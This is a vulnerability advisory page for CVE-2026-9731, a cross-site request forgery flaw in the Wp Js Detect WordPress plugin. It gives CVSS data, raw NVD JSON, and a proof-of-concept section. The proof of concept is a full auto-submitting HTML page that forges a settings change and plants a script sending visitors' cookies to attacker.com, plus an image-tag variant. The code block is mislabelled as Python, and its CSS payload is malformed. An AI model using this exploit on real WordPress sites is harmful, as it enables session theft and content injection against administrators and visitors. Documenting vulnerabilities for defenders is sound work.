Security Vulnerability Report
中文
CVE-2026-9731 CVSS 4.3 MEDIUM

CVE-2026-9731

Published: 2026-07-08 06:16:23
Last Modified: 2026-07-08 14:55:08

Description

The Wp Js Detect plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.9. This is due to missing or incorrect nonce validation on the plugin_settings function. This makes it possible for unauthenticated attackers to update the plugin's notification text and CSS settings (wp_non_js_notification_text and wp_non_js_notification_css), injecting arbitrary content that is echoed unescaped on the frontend via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Wp Js Detect Plugin <= 1.0.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2026-9731 PoC: CSRF exploit for Wp Js Detect plugin --> <!-- This HTML page will forge a request to update plugin settings --> <!-- when an authenticated WordPress admin visits it --> <!DOCTYPE html> <html> <head> <title>Loading...</title> </head> <body> <!-- Auto-submitting form targeting the vulnerable plugin_settings function --> <form id="csrf-form" method="POST" action="http://target-wordpress-site.com/wp-admin/admin-post.php"> <!-- Action parameter identifying the plugin settings handler --> <input type="hidden" name="action" value="wp_js_detect_settings" /> <!-- Malicious notification text with XSS payload --> <input type="hidden" name="wp_non_js_notification_text" value="<script>alert('XSS via CSRF - CVE-2026-9731');document.location='https://attacker.com/steal?cookie='+document.cookie;</script>" /> <!-- Malicious CSS to further disguise or enhance the attack --> <input type="hidden" name="wp_non_js_notification_css" value="body{background:url('https://attacker.com/log?ref='+document.referrer)}" /> <!-- Submit button (can be hidden or auto-clicked via JS) --> <input type="submit" value="Click here to continue" /> </form> <script> // Auto-submit the form when the page loads document.getElementById('csrf-form').submit(); </script> <!-- Alternative: Use image-based CSRF if forms are blocked --> <!-- <img src="http://target-site.com/wp-admin/admin-post.php?action=wp_js_detect_settings&wp_non_js_notification_text=<script>alert(1)</script>" /> --> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9731", "sourceIdentifier": "[email protected]", "published": "2026-07-08T06:16:23.217", "lastModified": "2026-07-08T14:55:07.843", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Wp Js Detect plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.9. This is due to missing or incorrect nonce validation on the plugin_settings function. This makes it possible for unauthenticated attackers to update the plugin's notification text and CSS settings (wp_non_js_notification_text and wp_non_js_notification_css), injecting arbitrary content that is echoed unescaped on the frontend via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "wpkuf", "product": "Wp Js Detect", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "1.0.9", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-07-08T13:13:12.998854Z", "id": "CVE-2026-9731", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-js-detect/trunk/wp-js-detect.php#L190", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-js-detect/trunk/wp-js-detect.php#L192", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-js-detect/trunk/wp-js-detect.php#L193", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-js-detect/trunk/wp-js-detect.php#L250", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/afca7b14-f3bb-4612-b81c-bde120b380ba?source=cve", "source": "[email protected]"}]}}